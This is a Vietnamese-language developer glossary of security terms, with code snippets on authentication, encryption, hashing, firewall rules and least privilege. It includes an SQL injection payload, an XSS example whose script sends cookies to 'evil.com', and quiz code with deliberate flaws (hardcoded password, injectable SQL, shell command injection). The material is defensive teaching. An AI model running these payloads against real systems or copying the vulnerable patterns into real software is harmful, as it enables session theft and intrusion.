30 Thuật Ngữ Security Mà Developer Cần Biết — Từ Vựng Bảo Mật

1
2
3
4
5
6

Authentication = "Who are you?" → Login, verify identity
Authorization  = "What can you do?" → Check permissions, roles

Ví dụ thực tế:
- Bạn quẹt thẻ vào tòa nhà → Authentication ✅
- Bạn chỉ được vào tầng 3, không được lên tầng 5 → Authorization ✅

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13

// Authentication — xác thực user
app.post('/login', async (req, res) => {
  const { email, password } = req.body;
  const user = await User.findByEmail(email);
  const isValid = await bcrypt.compare(password, user.passwordHash);
  // "Are you really who you claim to be?"
});

// Authorization — kiểm tra quyền
app.delete('/api/posts/:id', authorize('admin'), (req, res) => {
  // Only admins can delete posts
  // "You're logged in, but can you do THIS?"
});

1
2
3
4
5
6
7
8
9

-- ❌ Code dính SQL Injection:
query = "SELECT * FROM users WHERE email = '" + userInput + "'"
-- Attacker nhập: ' OR '1'='1' --
-- Kết quả: SELECT * FROM users WHERE email = '' OR '1'='1' --'
-- → Trả về TẤT CẢ users!

-- ✅ Fix: Dùng Parameterized Query
query = "SELECT * FROM users WHERE email = $1"
params = [userInput]

1
2
3
4
5
6

<!-- ❌ Vulnerable: render trực tiếp user input -->
<div>Welcome, ${userName}</div>
<!-- Attacker đặt tên: <script>document.location='https://evil.com/steal?cookie='+document.cookie</script> -->

<!-- ✅ Fix: Escape HTML entities -->
<div>Welcome, ${escapeHtml(userName)}</div>

1
2
3
4
5
6
7
8
9

Encryption (mã hóa):
  "Hello" → encrypt(key) → "x7$kQ9" → decrypt(key) → "Hello"
  ✅ Hai chiều — có thể giải ngược
  📌 Dùng cho: truyền dữ liệu, lưu thông tin nhạy cảm cần đọc lại

Hashing (băm):
  "Hello" → hash() → "185f8db32271fe25f561a6fc938b2e26..."
  ❌ Một chiều — KHÔNG giải ngược được
  📌 Dùng cho: lưu password, verify file integrity

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14

import bcrypt
import hashlib

# Hashing password — ĐÚNG CÁCH
password = "mySecurePass123"
hashed = bcrypt.hashpw(password.encode(), bcrypt.gensalt())
# Lưu `hashed` vào DB, KHÔNG BAO GIỜ lưu plaintext password!

# Verify password
is_match = bcrypt.checkpw(password.encode(), hashed)  # True

# Hashing file — kiểm tra integrity
file_hash = hashlib.sha256(open("app.zip", "rb").read()).hexdigest()
# So sánh với hash gốc để biết file có bị sửa không

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15

# AWS Security Group — Firewall rules
SecurityGroup:
  Type: AWS::EC2::SecurityGroup
  Properties:
    GroupDescription: "Web server security group"
    SecurityGroupIngress:
      - IpProtocol: tcp
        FromPort: 443        # HTTPS only
        ToPort: 443
        CidrIp: 0.0.0.0/0   # Allow from anywhere
      - IpProtocol: tcp
        FromPort: 22          # SSH
        ToPort: 22
        CidrIp: 10.0.0.0/8   # Only from internal network ✅
    # ❌ KHÔNG mở port 22 cho 0.0.0.0/0 (toàn bộ internet)!

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19

# ❌ Sai: Chạy app bằng root
docker run --user root myapp

# ✅ Đúng: Tạo user riêng với quyền tối thiểu
docker run --user appuser:appgroup myapp

# ❌ Sai: IAM policy cho phép tất cả
{
  "Effect": "Allow",
  "Action": "*",
  "Resource": "*"
}

# ✅ Đúng: Chỉ cho quyền cần thiết
{
  "Effect": "Allow",
  "Action": ["s3:GetObject", "s3:PutObject"],
  "Resource": "arn:aws:s3:::my-bucket/*"
}

1
2
3
4
5
6

# Đoạn code này có bao nhiêu lỗi bảo mật?
import os

password = "admin123"  # 🔴 Lỗi 1?
db_query = f"SELECT * FROM users WHERE name = '{user_input}'"  # 🔴 Lỗi 2?
os.system(f"ping {host_input}")  # 🔴 Lỗi 3?

1
2
3
4
5
6

app.post('/api/user', (req, res) => {
  const token = req.headers.authorization;
  // No token validation!
  db.query(`INSERT INTO users (name) VALUES ('${req.body.name}')`);
  res.json({ success: true });
});